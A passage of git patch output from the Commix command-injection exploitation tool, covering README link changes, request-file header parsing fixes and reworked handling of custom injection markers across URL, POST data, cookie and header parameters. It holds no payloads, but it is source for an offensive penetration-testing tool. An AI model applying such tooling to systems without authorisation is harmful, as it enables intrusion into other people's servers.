str(float_percent)+ "%" + percent, float_percent = checks.percentage_calculation(i, total) + percent, no_result = print_percentage(no_result, response_info, cve, float_percent) if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" diff --git a/src/utils/settings.py b/src/utils/settings.py index a098916ff7..c4657e9871 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4f2654326a135796cb8a75f1d1bb88b7e3b9799a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 12 Jun 2024 07:17:03 +0300 Subject: [PATCH 0463/1023] Renaming Twitter to X --- README.md | 4 ++-- doc/THANKS.md | 2 +- doc/translations/README-fa-FA.md | 4 ++-- doc/translations/README-gr-GR.md | 4 ++-- doc/translations/README-idn-IDN.md | 4 ++-- doc/translations/README-tr-TR.md | 4 ++-- src/utils/menu.py | 4 ++-- src/utils/settings.py | 6 +++--- 8 files changed, 16 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index acde50f1bc..b3e3570022 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + X

-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/THANKS.md b/doc/THANKS.md index 061d357918..af082b4dc4 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -4,7 +4,7 @@ ## List of individual donors: * Thanks John Brinton for a donation. * Thanks [Himself132](https://github.com/Himself132) for a donation. -* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. +* Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. ## List of individual contributors: * Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 603bdde0ad..afeedcfe05 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b327a08b07..efd183a1e1 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. ## Εικόνα diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 65743cd494..7f28d9751d 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index a2d1c339ac..422bbac553 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -6,12 +6,12 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/src/utils/menu.py b/src/utils/menu.py index d1e3c7f295..dee79edfa0 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -35,11 +35,11 @@ def banner(): /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> Date: Thu, 13 Jun 2024 08:12:05 +0300 Subject: [PATCH 0464/1023] Fixes https://github.com/commixproject/commix/issues/922 --- src/core/requests/parameters.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 697ac3d95a..7fce71a704 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -152,7 +152,7 @@ def multi_params_get_value(parameter): # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: - all_params[param] = ''.join(all_params[param]) + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -409,7 +409,7 @@ def json_format(parameter): elif settings.IS_XML: all_params[param] = ''.join(all_params[param]).replace(">" + settings.INJECT_TAG + " Date: Fri, 14 Jun 2024 09:04:47 +0300 Subject: [PATCH 0465/1023] Minor update --- src/core/injections/controller/parser.py | 31 ++++++++++++------------ src/utils/common.py | 2 +- src/utils/menu.py | 2 +- src/utils/settings.py | 4 +-- 4 files changed, 19 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 03b733a1b9..fd261fd8ea 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -84,13 +84,13 @@ def invalid_data(request): request_lines = request.split("\n") while c < len(request_lines) and len(request_lines[c]) > 0: x = request_lines[c].find(':') - header_name = request_lines[c][:x] + header_name = request_lines[c][:x].title() header_value = request_lines[c][x + 1:] if menu.options.header: request_headers.append(menu.options.header) elif menu.options.headers: request_headers.extend(menu.options.headers.split("\\n")) - request_headers.append(header_name + ": " + header_value) + request_headers.append(header_name + ":" + header_value) c += 1 c += 1 menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") @@ -114,9 +114,7 @@ def invalid_data(request): else: http_method = settings.HTTP_METHOD - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) + request_url = re.findall(r"" + " (.*)" + " HTTP/", request) if not request_url: invalid_data(request_file) @@ -125,22 +123,23 @@ def invalid_data(request): # Check for other headers extra_headers = "" scheme = "http://" - for line in request.splitlines(): - if re.findall(r"" + settings.HOST + ": " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) + + for line in request_headers: + if re.findall(r"" + settings.HOST + ":" + " (.*)", line): + menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) # User-Agent Header - if re.findall(r"" + settings.USER_AGENT + ": " + "(.*)", line): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) + if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): + menu.options.agent = "".join([str(i) for i in re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line)]) # Cookie Header - if re.findall(r"" + settings.COOKIE + ": " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) + if re.findall(r"" + settings.COOKIE + ":" + " (.*)", line): + menu.options.cookie = "".join([str(i) for i in re.findall(r"" + settings.COOKIE + ":" + " (.*)", line)]) # Referer Header - if re.findall(r"" + settings.REFERER + ": " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) + if re.findall(r"" + settings.REFERER + ":" + " (.*)", line): + menu.options.referer = "".join([str(i) for i in re.findall(r"" + settings.REFERER + ":" + " (.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: scheme = "https://" - if re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() + if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() if auth_provided: menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: diff --git a/src/utils/common.py b/src/utils/common.py index 2e7803fd12..54f6eda4bd 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -209,7 +209,7 @@ def create_github_issue(err_msg, exc_msg): data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} + headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() diff --git a/src/utils/menu.py b/src/utils/menu.py index dee79edfa0..d3ab082c25 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -35,7 +35,7 @@ def banner(): /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> Date: Mon, 17 Jun 2024 07:46:11 +0300 Subject: [PATCH 0466/1023] Minor update --- src/core/injections/controller/checks.py | 2 +- src/core/requests/parameters.py | 18 +++++++++++++++--- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 40876dbc26..0fb2a58889 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -136,7 +136,7 @@ def process_custom_injection_data(data): data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + # data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) # if settings.INJECT_TAG in data: # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7fce71a704..42576d36ce 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -154,7 +154,11 @@ def multi_params_get_value(parameter): if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -411,7 +415,11 @@ def json_format(parameter): else: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) if settings.IS_JSON and len(all_params[param].split("\":")) == 2: check_parameter = all_params[param].split("\":")[0] if settings.INJECT_TAG in check_parameter: @@ -623,7 +631,11 @@ def multi_params_get_value(parameter): if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG, "") diff --git a/src/utils/settings.py b/src/utils/settings.py index e2cd563af0..14574d4106 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e8b35c5a3a7775a1ffba9380be0a0220c6fed69b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Jun 2024 07:13:51 +0300 Subject: [PATCH 0467/1023] Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 33 ++++--- src/core/injections/controller/controller.py | 98 +++++++++++--------- src/core/requests/headers.py | 25 ++--- src/core/requests/parameters.py | 53 +++++++---- src/utils/settings.py | 13 ++- 6 files changed, 134 insertions(+), 89 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1159c169c8..b469e35b43 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0fb2a58889..af409e9f7f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -154,28 +154,28 @@ def process_custom_injection_data(data): def custom_injection_marker_character(url, http_request_method): if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True if menu.options.data: settings.IGNORE_USER_DEFINED_POST_DATA = True elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True else: option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: - settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = True - elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: - settings.CUSTOM_INJECTION_MARKER = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: - settings.CUSTOM_INJECTION_MARKER = settings.REFERER_INJECTION = True - elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: - settings.CUSTOM_INJECTION_MARKER = settings.HOST_INJECTION = True - elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: - settings.CUSTOM_INJECTION_MARKER = True - else: - settings.CUSTOM_HEADER_INJECTION = True - return False + if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True + elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True + elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True + elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True + elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + settings.CUSTOM_INJECTION_MARKER = True + else: + settings.CUSTOM_HEADER_INJECTION = True + return False if settings.CUSTOM_INJECTION_MARKER: while True: @@ -185,7 +185,6 @@ def custom_injection_marker_character(url, http_request_method): if procced_option in settings.CHOICE_YES: return True elif procced_option in settings.CHOICE_NO: - # settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6974b5f808..8fedf901ee 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -480,7 +480,6 @@ def cookie_injection(url, http_request_method, filename, timesec): # Cookie Injection if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) @@ -584,9 +583,9 @@ def get_request(url, http_request_method, filename, timesec): """ def post_request(url, http_request_method, filename, timesec): - parameter = menu.options.data + parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) - + # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] @@ -643,58 +642,56 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = None settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False - checks.process_non_custom() + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: if not settings.SKIP_NON_CUSTOM: get_request(url, http_request_method, filename, timesec) else: if get_request(url, http_request_method, filename, timesec) is None: - if settings.USER_DEFINED_POST_DATA and not settings.SKIP_NON_CUSTOM: - post_request(url, http_request_method, filename, timesec) + if settings.USER_DEFINED_POST_DATA: + if not settings.SKIP_NON_CUSTOM: + post_request(url, http_request_method, filename, timesec) + """ -Perform HTTP Headers parameters checks +Perform checks over cookie values. """ -def headers_checks(url, http_request_method, filename, timesec): - - if menu.options.level == settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: - if menu.options.cookie: - settings.COOKIE_INJECTION = True - +def cookies_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: - cookie_injection(url, http_request_method, filename, timesec) - - if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: - settings.HTTP_HEADERS_INJECTION = True + if not settings.SKIP_NON_CUSTOM: + cookie_injection(url, http_request_method, filename, timesec) +""" +Perform checks over HTTP Headers parameters. +""" +def headers_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): - if settings.INJECTED_HTTP_HEADER == False: - check_parameter = "" - http_headers_injection(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM: + http_headers_injection(url, http_request_method, filename, timesec) - if len(settings.CUSTOM_HEADERS_NAMES) != 0: - settings.CUSTOM_HEADER_INJECTION = True - for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # settings.CUSTOM_HEADER_INJECTION = False +""" +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + for _ in settings.CUSTOM_HEADERS_NAMES: + if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_NAME = _.split(": ")[0] + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = False """ Perform checks """ def perform_checks(url, http_request_method, filename): - # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] @@ -728,14 +725,31 @@ def perform_checks(url, http_request_method, filename): check_for_stored_levels(url, http_request_method) _ = True - if not settings.CUSTOM_INJECTION_MARKER: - data_checks(url, http_request_method, filename, timesec) - _ = False - headers_checks(url, http_request_method, filename, timesec) - if any((settings.CUSTOM_HEADERS_NAMES, settings.COOKIE_INJECTION, settings.HTTP_HEADERS_INJECTION)) and settings.SKIP_NON_CUSTOM: + if settings.CUSTOM_INJECTION_MARKER: _ = False - if _: - data_checks(url, http_request_method, filename, timesec) + if any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + data_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.COOKIE: + cookies_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS: + headers_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + custom_headers_checks(url, http_request_method, filename, timesec) + if settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA \ + or settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL: + checks.process_non_custom() + + if not settings.SKIP_NON_CUSTOM: + settings.CUSTOM_INJECTION_MARKER = False + if not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + data_checks(url, http_request_method, filename, timesec) + if _: + if not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + settings.COOKIE_INJECTION = True + cookies_checks(url, http_request_method, filename, timesec) + if not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + settings.HTTP_HEADERS_INJECTION = True + headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f2245d56f7..04dabbef50 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -394,18 +394,19 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - - if not settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: - settings.CUSTOM_INJECTION_MARKER = True - - if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: - settings.CUSTOM_HEADER_CHECK = http_header_name - if len(http_header_name) != 0 and \ - http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ - http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: - settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - request.add_header(http_header_name, http_header_value) + if not settings.CUSTOM_HEADER_INJECTION: + if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_INJECTION_MARKER = True + + if http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True + settings.CUSTOM_HEADER_CHECK = http_header_name + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + request.add_header(http_header_name, http_header_value) if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 42576d36ce..0520fa02d6 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -60,6 +60,7 @@ def multi_params_get_value(parameter): url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: + 